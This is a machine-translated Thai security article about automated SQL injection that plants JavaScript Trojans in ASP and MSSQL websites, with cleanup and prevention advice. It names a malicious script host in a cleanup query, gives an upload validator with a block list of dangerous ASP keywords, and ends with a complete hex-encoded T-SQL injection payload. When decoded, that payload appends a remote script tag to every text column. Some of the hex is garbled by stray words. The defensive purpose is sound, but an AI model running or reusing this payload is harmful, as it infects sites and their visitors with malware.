ทุกวันนี้ เว็บไซต์จำนวนมากที่ออกแบบด้วย ASP+MSSQL อาจเคยมีประสบการณ์ในการแทรกฐานข้อมูล SQL ลงใน JS Trojans โดยแฮกเกอร์ ไม่สิ เว็บไซต์ของเพื่อนถูกแฮกเกอร์หลอก
แต่ละฟิลด์ varchar และข้อความของ mssql จะถูกแทรกลงในโค้ด js โดยอัตโนมัติ แม้ว่าโค้ดส่วนนี้จะถูกลบออกไป หากไม่ได้รับการแก้ไขจากแหล่งที่มา โค้ด js จะถูกแทรกลงในฐานข้อมูลโดยอัตโนมัติภายในไม่กี่นาที
หลังจากการสังเกตของ Piao Yi โปรแกรมมีแนวโน้มที่จะดำเนินการโดยอัตโนมัติ แฮกเกอร์จะค้นหาเว็บไซต์ที่มีช่องโหว่ซึ่งออกแบบด้วย asp+mssql จากเครื่องมือค้นหาเช่น Google และ Baidu จากนั้นใช้เครื่องมือสแกนแบบฉีดเช่น Xiao Mingzi เพื่อสแกนทั้งหมด เว็บไซต์ เมื่อมีการค้นพบหรืออัปโหลดช่องโหว่ของการแทรก sql หากมีช่องโหว่ แฮกเกอร์จะใช้วิธีการต่าง ๆ เพื่ออัพโหลดโทรจันของตนเอง เช่น โทรจัน Haiyang แฮกเกอร์จะรวมเว็บไซต์นี้ไว้ในรายชื่อไก่เนื้อของพวกเขา และเพิ่มรหัส js ที่พวกเขาต้องการเพิ่มลงในฐานข้อมูลได้ตลอดเวลา และสิ่งเหล่านี้ รหัสมักจะมีไวรัสและโทรจันจำนวนมาก ซึ่งท้ายที่สุดจะเป็นพิษต่อคอมพิวเตอร์ของผู้ใช้ที่เข้าชมเว็บไซต์ที่ได้รับการควบคุม
แม้ว่าคุณจะสามารถทำการแทนที่แบทช์ผ่านตัววิเคราะห์คิวรี SQL เพื่อแก้ไขปัญหาโค้ด js ที่แทรกไว้ชั่วคราวได้ แต่หากคุณไม่ได้แก้ไขช่องโหว่ของเว็บไซต์ทั้งหมดโดยพื้นฐาน รวมถึงสิทธิ์ด้านความปลอดภัยของโปรแกรมและเซิร์ฟเวอร์ แฮกเกอร์ก็ยังสามารถบุกรุกเว็บไซต์ของคุณได้ตลอดเวลา ฐานข้อมูลเว็บไซต์
ในตัววิเคราะห์แบบสอบถาม SQL คุณสามารถรันโค้ดต่อไปนี้เพื่อแทนที่โค้ด js เป็นกลุ่ม:
คัดลอกรหัสรหัสดังต่อไปนี้:
"อัปเดตชุดชื่อตาราง field name=replace(ชื่อฟิลด์,'<Script Src=http://cn%75clear3.com/css/c.js></Script>','')"
flymorn ตรวจสอบเว็บไซต์อย่างละเอียดและพบปัญหาด้านความปลอดภัยหลายประการ:
ประการแรก เว็บไซต์มีช่องโหว่ในการอัปโหลด แม้ว่าการอัปโหลดไฟล์จะต้องมีการรับรองความถูกต้องของผู้ดูแลระบบและการรับรองความถูกต้องของรูปแบบไฟล์ของไฟล์ที่อัปโหลด การรับรองความถูกต้องของผู้ดูแลระบบจะใช้คุกกี้ และสามารถปลอมแปลงคุกกี้ได้ และหากคุณไม่ได้ตัดสินเนื้อหาของไฟล์ หลังจากถ่ายรูปแล้วภาพโทรจันก็มีแนวโน้มที่จะถูกอัพโหลด
วิธีแก้ไข: 1 ลบฟังก์ชันการอัปโหลดไฟล์ (ใช้ไม่ได้จริง) 2 แก้ไขการยืนยันผู้ใช้การอัปโหลดเป็นการยืนยันเซสชัน 3 ตรวจสอบเนื้อหาของไฟล์ที่อัปโหลด และลบออกหากเป็นโทรจันรูปภาพ คุณสามารถอ้างอิงถึงรหัสยืนยันต่อไปนี้ : :
คัดลอกรหัสรหัสดังต่อไปนี้:
''================ ตรวจสอบว่าไฟล์ที่อัปโหลดมีสตริงที่ไม่ถูกต้องหรือไม่ start================
ตั้งค่า MyFile = server.CreateObject("Scripting.FileSystemObject")
ตั้งค่า MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) 'อ่านไฟล์ข้อความ
sTextAll = lcase(MyText.ReadAll)
MyText.ปิด
ตั้งค่า MyFile = ไม่มีเลย
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|ดำเนินการ|activexobject|ภาษา="
sNoString = แยก(sStr,"|")
สำหรับ i=0 ถึง ubound(sNoString)
ถ้า instr(sTextAll,sNoString(i)) แล้ว
ชุด filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath (filePath)
ตั้งค่า filedel = ไม่มีอะไร
Response.Write("<script>alert('There is a problems with the file you upload, the upload failed!');history.back();</script>")
การตอบสนองสิ้นสุด
สิ้นสุดถ้า
ต่อไป
''================== ตรวจสอบว่าไฟล์ที่อัปโหลดมีสตริงที่ไม่ถูกต้องหรือไม่====================
ประการที่สอง เว็บไซต์มีช่องโหว่ในการแทรกคุกกี้ เนื่องจากการออกแบบโปรแกรม เพื่อลดค่าใช้จ่ายของเซิร์ฟเวอร์ ผู้ใช้ทุกคนจึงใช้คุกกี้เพื่อตรวจสอบความถูกต้องหลังจากเข้าสู่ระบบ คุกกี้นี้จะจัดเก็บ ID และ NAME ของผู้ใช้ ดังที่เราทุกคนทราบกันดีว่าคุกกี้มักถูกปลอมแปลงโดยแฮกเกอร์ นอกจากนี้ พารามิเตอร์ภายนอกบางตัวไม่ได้ใช้ request.form และ request.querystring ที่เข้มงวดเพื่อรับเนื้อหา เพื่อความง่าย จะใช้ request("id")
เรารู้ว่าคำขอของ ASP ได้รับเนื้อหาจากแบบฟอร์มและสตริงการสืบค้นก่อน หากทั้งสองนี้ว่างเปล่า เนื้อหาจะต้องได้รับจากคุกกี้ ผู้คนมักจะพิจารณาการแทรก SQL ของ request.form และ request.querystring ในการเขียนโปรแกรม และ request.querystring โดยทั่วไปจะถูกกรองสำหรับการฉีด sql แต่ลืมกรองการฉีดในโหมดคุกกี้ ลองมาดูคำสั่ง sql ต่อไปนี้:
คัดลอกรหัสรหัสดังต่อไปนี้:
SQL = "เลือก * จากชื่อตารางโดยที่")
หากรหัสนี้เกิดขึ้นเพื่อรับค่าผ่านคุกกี้ ลองคิดดูว่ามันช่างแย่จริงๆ! หัวฉีดสามารถปลอมคุกกี้ปลอมชื่อ id ได้อย่างง่ายดายเนื่องจากเซิร์ฟเวอร์กำหนดคุกกี้ที่มี id นี้ให้กับคุกกี้ คุกกี้นี้สามารถปลอมแปลงเป็นโค้ดที่คล้ายกับข้อความต่อไปนี้:
คัดลอกรหัสรหัสดังต่อไปนี้:
dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 เครือข่ายผู้มีความสามารถด้านไอที () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a เป็น vArChAr(4000));exec(@s);--